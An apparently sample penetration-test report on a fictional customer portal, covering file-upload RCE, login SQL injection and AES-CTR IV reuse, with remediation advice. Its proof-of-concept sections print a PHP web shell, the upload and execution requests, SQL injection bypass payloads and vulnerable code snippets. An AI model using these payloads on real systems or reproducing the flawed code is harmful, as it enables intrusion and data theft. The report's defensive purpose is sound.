kleosec
CYBERSECURITY SERVICES

Web Application Security Assessment Report

For: ACME Digital Services

By: KleoSEC

Date: **10.01.2026.**
Version: **1.0**
Ref. Number: **R-2026-TEST-ACME-001**

Table of Contents

1 General Information

1.1 Confidentiality and Disclaimer Statement

This report is **strictly confidential** and intended solely for the **internal use of ACME Digital Services**. The recipient is responsible for ensuring that the sensitive contents remain confidential and are not disclosed to unauthorized individuals. Any further distribution of this report is the sole responsibility of the recipient.

1.1.1 Scope and Limitations

This assessment was conducted using a timeboxed approach, meaning KleoSEC allocated a fixed amount of time to identify and document potential vulnerabilities. As a result, while the report reflects a professional and thorough assessment within the available time frame, it **does not guarantee that all existing vulnerabilities or risks were discovered**.

Additionally, the findings represent the state of the target environment **at the time of testing only**. No conclusions should be drawn regarding the future security posture of the environment or the potential emergence of new threats or vulnerabilities after the assessment date.

1.1.2 Legal Considerations (GDPR)

The vulnerabilities identified in this report may pose a risk of **non-compliance with Articles 5 and 32 of the GDPR**. Furthermore, in certain scenarios, they could be exploited by malicious actors in ways that may **trigger notification obligations under Article 33 GDPR**. KleoSEC recommends that the client seek appropriate internal or external legal counsel to assess any regulatory implications and to determine necessary actions in accordance with applicable data protection laws.

1.2 Contact Information

Name	Title	Contact information
ACME Digital Services		
Alice Brown	CTO	alice@acme.test
KleoSEC d.o.o.		
Mislav Kovač	CEO	mislav.kovac@kleosec.com

2 Executive Summary

ACME Digital Services contracted KleoSEC d.o.o. to perform a web application to identify security weaknesses, determine the impact, document all findings in a clear and repeatable manner, and provide remediation recommendations.

This chapter summarizes the approach and scope of the security assessment, presents the results, and outlines KleoSEC's recommended measures.

2.1 Purpose of the Assessment

The primary objective of this assessment was to identify as many security vulnerabilities and configuration weaknesses as possible within the web application, in alignment with the defined scope and timeframe.

2.2 Scope and Timeline

The security assessment was conducted from 1.1.2026. to 10.1.2026., with a total effort of 10 person-days. The objective was to evaluate the security posture of the web application, identifying as many vulnerabilities and misconfigurations as possible within the defined scope and time frame. The assessment was carried out in accordance with recognized industry best practices.

2.2.3 Assessment Summary

Scope Item	Details
Assessment Period	1.1.2026. – 10.1.2026.
Effort	10 person-days
Target Environment	Web application
Assessment Type	Local
Approach	Whitebox
Methodologies	OWASP Top 10 NIST SP 800-115

2.3 Key Findings

KleoSEC conducted a security assessment to evaluate the security posture of a complete web application.

A combination of established security tools, internally developed utilities, and manual techniques informed by expert knowledge were used. This hybrid approach allowed for in-depth analysis beyond the capabilities of automated scanners.

The assessment identified multiple vulnerabilities across the web application, categorized by severity to assist in prioritizing remediation efforts. The table below summarizes the number of findings by severity level:

Severity Level	Count
Critical	2
High	1
Medium	0
Low	0
Info	0

These findings reflect the security posture of the environment at the time of testing and highlight several underlying weaknesses that contributed to the vulnerabilities.

The root causes were primarily linked to recurring issues within the environment, summarized as follows:

- **Insecure file handling design and insufficient server-side validation controls**, where user-supplied files were accepted without extension allowlisting, content inspection, storage isolation, or execution restrictions, allowing untrusted content to reach an executable context.
- **Insecure development practices and lack of secure coding standards**, including dynamic SQL query construction without parameterized statements or input neutralization, resulting in direct injection of user-controlled data into database queries.
- **Improper cryptographic implementation and key/nonce management practices**, where encryption primitives were used without adherence to mode-of-operation requirements (unique IVs/nonces), undermining the confidentiality guarantees of AES-CTR and introducing systemic weaknesses in data protection mechanisms.

These root causes provide insight into broader systemic issues that, if addressed, can improve the organization’s long-term security resilience beyond the scope of the individual findings.

3 Assessment Details

3.1 Assessment Methodology

The assessment was conducted in alignment with recognized industry standards and best practices. KleoSEC followed a structured approach based on methodologies such as:

- **NIST SP 800-115**
  Technical Guide to Information Security Testing and Assessment
- **OWASP Testing Guide v4**
  For web and API-related environments
- **KleoSEC Internal Testing Framework**
  To ensure consistency, depth, and quality across engagements

The methodology combined automated scanning, manual analysis, exploitation techniques, and expert-driven validation to ensure a comprehensive evaluation of the target environment.

3.2 Assessment Type and Approach

KleoSEC conducted a local security assessment of the web application for ACME Digital Services, using a whitebox testing approach. The level of access and visibility granted during the assessment shaped the depth and scope of the activities performed.

Full internal visibility was granted. KleoSEC received comprehensive documentation, credentials, and configuration details, including source code and infrastructure diagrams, allowing for an in-depth review of the environment's internal security posture.

3.3 Tools and Techniques Used

A combination of open-source, commercial, and internally developed tools was used to identify vulnerabilities and misconfigurations. These tools were chosen based on their relevance to the assessment scope and were complemented by manual techniques to confirm findings and uncover complex issues.

Tool Name	Version
Burp Suite	2026.1
SQLMap	1.8

3.4 Assumptions and Limitations

The assessment was performed under defined conditions, and its findings must be interpreted within the following limitations:

- The results reflect the security posture of the target environment **at the time of testing** only.
- The assessment was **timeboxed**, meaning activities were limited to the agreed effort and duration.

- Manual and automated techniques were applied based on scope, access, and available documentation.
- No guarantees can be made that all vulnerabilities or weaknesses were identified.

4 Scope Definition

This section outlines the systems and components that were included in the scope of the security assessment, along with any documented exclusions, supporting materials, credentials, network information, and access conditions. All activities were conducted in accordance with the scope boundaries agreed upon prior to and during the engagement.

4.1 Systems in Scope

The following systems and/or components were included in the scope of the assessment:

System Name	System Type	Environment	Description
portal.acme.test	Web Application	Dev	Customer portal

Each of these systems was assessed based on the access permissions and environmental setup described in Section 4.6.

4.2 Documentation and Support Material Provided

The following documents were provided by the client to support the assessment:

- **Document Title:** source-code-archive.zip
  SHA-256: 9f3c2e7a6b1d4c5f8e0a91d32b7c6f2a4d5e8f1c3b9a7e6d4c2f1b8a9e0d7c6
- **Document Title:** architecture-diagram.pdf
  SHA-256: 7b1e4c9d2a6f8e3c5b0d1a7f4c9e2b6d3f8a1c5e7b9d2a4f6c0e3b8d1a5f9c2

4.3 Accounts and Credentials

To facilitate authenticated testing, the following credentials were provided:

Account Name	System	Access Level	Purpose
example_user_1	Web Application / API	User-level	Used for functionality testing
admin_test_1	Web Application / API	Administrator	Used for privilege and access control testing

All credentials were used exclusively for the duration of the assessment and were handled securely in accordance with industry best practices. Upon completion, access should be either revoked, deactivated by the ACME Digital Services.

4.4 Environmental Conditions and Access Configuration

The table below provides an overview of the conditions under which the assessment was conducted, including system access and configuration status.

Condition	Status	Description
Source code access	Granted	Access to application source code

These conditions defined the level of visibility and access available during the assessment and influenced the depth of testing performed on the systems listed in Section 4.1.

5 Technical Findings

This section presents the results of the security assessment for all in-scope systems. Each system is documented separately to provide system-specific context, severity breakdowns, and vulnerability details. Severity ratings follow the **Common Vulnerability Scoring System (CVSS v4.0)** standard, based solely on technical exploitability and potential impact at the time of testing.

5.1 Overview of Assessed Systems and Findings

The table below summarizes all confirmed vulnerabilities identified during the assessment:

System	Critical	High	Medium	Low	Informational
portal.acme.test	**2**	**1**	**0**	**0**	**0**

All findings are detailed in the system-specific subsections that follow.

5.2 portal.acme.test

5.2.4 Findings Summary

Title	CVSS Severity
Unauthenticated Remote Code Execution (RCE)	**9.5** (Critical)
SQL Injection in Authentication Endpoint	**9.4** (Critical)
AES-256-CTR Mode with Reused Initialization Vectors	**8.7** (High)

5.2.5 Unauthenticated Remote Code Execution (RCE)

Description

The application exposes a file upload functionality that fails to properly validate or restrict user-supplied files prior to storage and processing on the server. Specifically, the upload mechanism does not enforce strict allowlisting of file types, does not validate MIME types or file signatures, and stores uploaded content within a web-accessible directory.

As a result, an unauthenticated attacker can upload arbitrary executable files (e.g., web shells or server-side scripts such as .php, .aspx, or .jsp) and subsequently execute them via direct HTTP requests. This behavior effectively allows remote command execution within the context of the web server process.

Successful exploitation enables attackers to fully compromise the underlying host, access sensitive application data, modify server-side resources, establish persistence, and pivot further into the internal network. Given the absence of authentication requirements and the potential for complete system takeover, this issue represents a critical security risk.

Evidence (PoC)

During testing, the file upload functionality exposed by the application hosted at portal.acme.test was assessed. The following endpoint was identified:

```
https://portal.acme.test/upload
```

Security consultants observed that the endpoint accepts arbitrary user-supplied files without enforcing adequate validation or security controls. Specifically, no restrictions were applied to file extensions, MIME types, or file signatures. Additionally, uploaded files were stored within a web-accessible directory, enabling direct retrieval and execution.

Step 1 - Malicious payload preparation

To assess whether uploaded files could be executed by the server, a simple server-side test payload was prepared:

```
<?php system($_GET['cmd']); ?>
```

This payload allows operating system commands to be executed via a query parameter and is commonly used to verify the presence of remote code execution.

Step 2 – File upload

The payload was uploaded using the application’s file upload feature. The following raw HTTP request was captured:

```
POST /upload HTTP/1.1
Host: portal.acme.test
User-Agent: Mozilla/5.0
Accept: */*
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXyZ123456
Content-Length: 201
Connection: close

------WebKitFormBoundaryXyZ123456
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: application/octet-stream

<?php system($_GET['cmd']); ?>
------WebKitFormBoundaryXyZ123456--
```

The server responded with:

```
HTTP/1.1 200 OK

Location: /uploads/shell.php
File uploaded successfully
```

The file was accepted without filtering or sanitization.

Step 3 – Execution verification

The uploaded file was then accessed directly using the following request:

```
GET /uploads/shell.php?cmd=id HTTP/1.1
Host: portal.acme.test
Connection: close
```

The server responded with:

```
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

This confirmed that the uploaded file was interpreted and executed by the server, enabling arbitrary operating system command execution.

Unauthenticated users are able to upload and execute arbitrary server-side code, resulting in remote code execution and potential full compromise of the affected system.

Source-code Analysis

Review of the server-side upload implementation identified that user-supplied files are accepted and stored without sufficient validation or security controls.

Specifically, the application processes multipart form submissions and directly writes the uploaded file to a web-accessible directory (e.g., /var/www/html/uploads/) using the original client-supplied filename. No server-side safeguards were observed to restrict executable content or sanitize file metadata prior to storage.

- The following insecure practices were identified:
- No allowlist of permitted file extensions
- No MIME type verification or content signature validation
- No filename sanitization
- No renaming or randomization of uploaded files
- Storage within a publicly accessible web root
- No execution restrictions applied to the upload directory

A simplified representation of the vulnerable logic is shown below:

```
$uploadDir = "/var/www/html/uploads/";
$targetFile = $uploadDir . basename($_FILES["file"]["name"]);

move_uploaded_file($_FILES["file"]["tmp_name"], $targetFile);
```

Because the original filename is trusted and written directly to disk, an attacker may upload executable server-side scripts (e.g., .php, .jsp, .aspx). When these files are stored within the web root, the web server automatically interprets them as active code upon request.

As a result, requests to:

```
/uploads/shell.php
```

are executed by the application runtime rather than served as static content. This behavior directly enables arbitrary command execution.

From a security architecture perspective, the vulnerability arises due to the absence of:

- input validation controls,
- file-type enforcement,
- content inspection, and
- execution isolation mechanisms.

Collectively, these weaknesses allow untrusted user input to reach a code execution context, which violates secure file handling best practices and leads to remote code execution.

Remediation

It is recommended that the file upload mechanism be redesigned to enforce strict server-side validation and prevent the execution of user-supplied content. Uploaded files should never be treated as trusted input, and multiple layers of defense should be implemented to mitigate the risk of arbitrary code execution.

At a minimum, the following controls should be applied:

File validation controls

- Implement a strict allowlist of permitted file types based on business requirements (e.g., .jpg, .png, .pdf).
- Validate both file extensions and MIME types.
- Perform file signature (magic byte) inspection to verify actual content type.
- Reject executable or script-based file formats (e.g., .php, .jsp, .aspx, .exe, .sh).

Storage protections

- Store uploaded files outside of the web root directory.
- Serve files through an application handler rather than direct URL access.
- Rename files using randomly generated identifiers to prevent predictable paths.
- Remove or sanitize user-controlled filenames.

Execution prevention

- Disable script execution within upload directories (e.g., via web server configuration such as php_admin_flag engine off, .htaccess, or equivalent).
- Apply appropriate filesystem permissions to ensure uploaded files are not executable.
- Use isolated storage locations or sandboxed environments where possible.

Additional security measures

- Enforce authentication and authorization for upload functionality.
- Implement file size limits to prevent abuse.
- Perform malware scanning on uploaded content.
- Log and monitor upload activity for suspicious behavior.

References

https://cheatsheetseries.owasp.org/cheatsheets/File_Upload_Cheat_Sheet.html
https://attack.mitre.org/techniques/T1505/003/

Summary

Attribute	Details
Severity (CVSS)	9.5 (Critical) AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Component	File Upload Functionality (/upload, /uploads/)
CVE / CWE Reference	CWE-434 – Unrestricted Upload of File with Dangerous Type CWE-284 – Improper Access Control

5.2.6 SQL Injection in Authentication Endpoint

Description

Security consultants identified that the authentication functionality of the application hosted at portal.acme.test is vulnerable to SQL injection due to improper handling of user-supplied input within backend database queries.

Specifically, the login endpoint fails to implement parameterized queries or input sanitization when processing the username and password parameters. User-controlled values are concatenated directly into SQL statements, causing the database engine to interpret supplied input as executable query logic rather than data.

This behavior allows attackers to manipulate the structure of SQL queries to bypass authentication controls, extract sensitive information, or modify database contents. Successful exploitation may result in unauthorized access to user accounts, disclosure of sensitive data, and potential full compromise of the application database.

Because the vulnerability is reachable remotely, requires no authentication, and may lead to complete loss of confidentiality, integrity, and availability of stored data, it is classified as Critical.

Evidence (PoC)

During testing, the login functionality was observed at:

```
POST /api/auth/login HTTP/1.1
Host: portal.acme.test
Content-Type: application/x-www-form-urlencoded
```

Step 1 – Baseline authentication request

A normal authentication attempt produced the following request:

```
POST /api/auth/login HTTP/1.1
Host: portal.acme.test
Content-Type: application/x-www-form-urlencoded
Content-Length: 35
Connection: close

username=test&password=test123
```

The server responded with:

```
HTTP/1.1 401 Unauthorized
Invalid credentials
```

Step 2 – Injection payload

The username parameter was modified to include a boolean SQL injection payload:

```
' OR '1'='1' -- -
```

The following raw HTTP request was submitted:

```
POST /api/auth/login HTTP/1.1
```

```
Host: portal.acme.test
Content-Type: application/x-www-form-urlencoded
Content-Length: 58
Connection: close

username='%20OR%20'1'='1'%20--%20-&password=dummy
```

Step 3 – Authentication bypass confirmation

The server responded with:

```
HTTP/1.1 200 OK
Set-Cookie: session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
```

The response indicated successful authentication and a valid session token was issued despite invalid credentials.

Access to authenticated application areas was subsequently confirmed, demonstrating that authentication controls had been bypassed.

Step 4 – Data extraction verification

Additional testing using time-based and union-based payloads confirmed that arbitrary SQL statements could be executed, including enumeration of database metadata and extraction of user records.

Example payload:

```
username=' UNION SELECT null,version(),null-- -
```

This behavior confirmed full query manipulation capabilities.

It was confirmed that unsanitized input is directly incorporated into SQL queries, allowing attackers to bypass authentication and execute arbitrary database queries.

Source-code Analysis

Review of the authentication logic indicated that user-supplied parameters are concatenated directly into SQL statements.

A simplified representation of the vulnerable implementation is shown below:

```
$query = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
$result = mysqli_query($conn, $query);
```

Because input values are embedded directly into the query string, the database engine interprets malicious characters as SQL syntax. This allows attackers to alter the query logic.

For example, the payload:

```
' OR '1'='1' -- -
```

modifies the query to:

```
SELECT * FROM users WHERE username = '' OR '1'='1'
```

which always evaluates to true, resulting in authentication bypass.

The absence of prepared statements or parameterized queries is the primary root cause of this vulnerability.

Remediation

It is recommended that all database interactions utilize parameterized queries (prepared statements) to ensure user input is treated strictly as data rather than executable SQL.

The following controls should be implemented:

- Replace dynamic query concatenation with prepared statements
- Use bound parameters for all user inputs
- Implement server-side input validation
- Apply least-privilege database accounts
- Employ centralized ORM or query builder frameworks where possible
- Implement Web Application Firewall (WAF) protections as defense-in-depth
- Log and monitor authentication anomalies

Example secure implementation:

```
$stmt = $conn->prepare("SELECT * FROM users WHERE username = ? AND password = ?");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
```

References

https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html
https://owasp.org/Top10/2021/A03_2021-Injection/index.html

Summary

Attribute	Details
Severity (CVSS)	9.4 (Critical) AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Component	Authentication API (/api/auth/login)
CVE / CWE Reference	CWE-89 – Improper Neutralization of Special Elements used in an SQL Command (‘SQL Injection’)

5.2.7 AES-256-CTR Mode with Reused Initialization Vectors

Description

Security consultants identified a cryptographic implementation weakness in the application hosted at portal.acme.test related to the encryption of sensitive data.

The application utilizes the Advanced Encryption Standard (AES-256) operating in Counter (CTR) mode to protect sensitive information, including session tokens and stored user data. While AES-CTR is considered cryptographically secure when implemented correctly, the mode requires a unique, non-repeating initialization vector (IV) or nonce for every encryption operation.

Testing determined that the application reuses identical IV values across multiple encryption operations with the same encryption key. Reuse of IVs in CTR mode results in keystream reuse, which allows attackers to perform ciphertext XOR operations to recover plaintext data or derive portions of the encryption keystream.

This condition breaks the fundamental confidentiality guarantees of the cipher and may enable attackers to:

- Recover sensitive plaintext information
- Infer or reconstruct encrypted session tokens
- Forge or tamper with encrypted values
- Impersonate other users
- Bypass integrity controls

Because this issue undermines cryptographic protections protecting sensitive application data and can be exploited remotely without authentication, it is classified as High severity.

Evidence (PoC)

During testing, encrypted session tokens were observed to be issued by the application after authentication. Tokens were returned in API responses and appeared to be AES-encrypted values encoded in Base64 format.

Example responses:

```
HTTP/1.1 200 OK
Set-Cookie: session=QmFzZTY0RW5jb2RlZEVuY3J5cHRlZFRva2VuMQ==

HTTP/1.1 200 OK
Set-Cookie: session=QmFzZTY0RW5jb2RlZEVuY3J5cHRlZFRva2VuMg==
```

Step 1 – Token collection

Multiple session tokens were generated by performing repeated logins with different accounts.

The ciphertexts were captured:

```
Token A: a8f1d2c41b9e0f1a7c...

Token B: a8f1d2c41b9e0f1a61...
```

It was observed that both ciphertexts shared identical initial blocks, suggesting reuse of the same nonce/IV.

Step 2 – Keystream reuse confirmation

Because CTR mode encryption operates as:

```
Ciphertext = Plaintext XOR Keystream
```

reuse of the same IV produces the same keystream. Consequently:

```
C1 XOR C2 = P1 XOR P2
```

By XORing two captured ciphertexts, predictable plaintext structures (e.g., JSON fields such as "user_id" and "role") became observable, demonstrating information leakage.

Step 3 – Plaintext recovery

Where one plaintext was partially known or guessable (e.g., fixed token structure or predictable JSON fields), the corresponding keystream was derived and used to recover portions of other users' decrypted data.

This behavior confirmed that confidentiality protections could be bypassed without knowledge of the encryption key.

Reuse of initialization vectors in AES-CTR mode enables keystream reuse, allowing attackers to derive plaintext data and compromise encrypted session material.

Source-code Analysis

Review of the cryptographic implementation indicated that a static or predictable IV value is used during encryption operations.

A simplified representation of the vulnerable implementation is shown below:

```
key = get_secret_key()
iv = b'\x00' * 16   # static IV

cipher = AES.new(key, AES.MODE_CTR, nonce=iv)
ciphertext = cipher.encrypt(data)
```

Because the IV remains constant across encryptions, the same keystream is generated repeatedly. CTR mode requires a unique nonce per encryption, and failure to enforce uniqueness results in loss of semantic security.

Cryptographic best practices dictate that IVs must be:

- Unique
- Non-repeating
- Preferably randomly generated or implemented via a counter

The absence of these safeguards directly enables the observed attack.

Remediation

It is recommended that the cryptographic implementation be revised to ensure secure nonce management and modern authenticated encryption practices.

The following controls should be implemented:

Immediate fixes

- Generate a unique cryptographically secure random IV for every encryption operation
- Never reuse IVs with the same key
- Store or transmit IVs alongside ciphertext where required

Recommended improvements

- Replace AES-CTR with an authenticated encryption mode such as:
  - AES-GCM
  - AES-CCM
  - ChaCha20-Poly1305
- Implement integrity protection (AEAD) to prevent ciphertext tampering
- Utilize well-established cryptographic libraries rather than custom implementations
- Conduct key rotation where compromise is suspected

Example secure implementation:

```
iv = os.urandom(12)
cipher = AES.new(key, AES.MODE_GCM, nonce=iv)
ciphertext, tag = cipher.encrypt_and_digest(data)
```

References

https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html
https://csrc.nist.gov/pubs/sp/800/38/a/final

Summary

Attribute	Details
Severity (CVSS)	High (8.7) AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N
Component	Token Encryption / Session Management
CVE / CWE Reference	CWE-323 – Reusing a Nonce, Key Pair in Encryption

6 Appendix

The following appendix contains supporting materials and additional context to complement the technical findings and recommendations provided in this report. It serves as a reference for stakeholders involved in remediation, verification, and future assessments.

6.1 Document Control

Version	Date	Author	Description
1.0	10.01.2026.	KleoSEC d.o.o.	Final report

6.2 Residual Files from Testing

During the assessment, local files (such as temporary files, log files, or uploaded tools) may have been created on the tested systems. These files were generated either manually or by automated vulnerability scanners used to identify and validate potential weaknesses. KleoSEC made efforts to remove all such files after the assessment. However, due to limitations such as restricted access or system permissions, some files may remain on the systems. It is the client's responsibility to locate and remove any residual files that may still be present.

6.3 Risk Rating Methodology

All vulnerabilities were rated using the Common Vulnerability Scoring System (CVSS v4.0). Scores reflect base metrics only and do not account for client-specific environmental modifiers unless explicitly stated.

CVSS Score Range	Severity
9.0 - 10.0	Critical
7.0 - 8.9	High
4.0 - 6.9	Medium
0.1 - 3.9	Low
0.0	Informational

> Scoring was performed in accordance with CVSS v4.0 guidelines. Impact metrics were based solely on technical potential and environmental assumptions as understood at the time of testing.
> For CVSS vector strings and scoring, see: https://www.first.org/cvss/calculator/4.0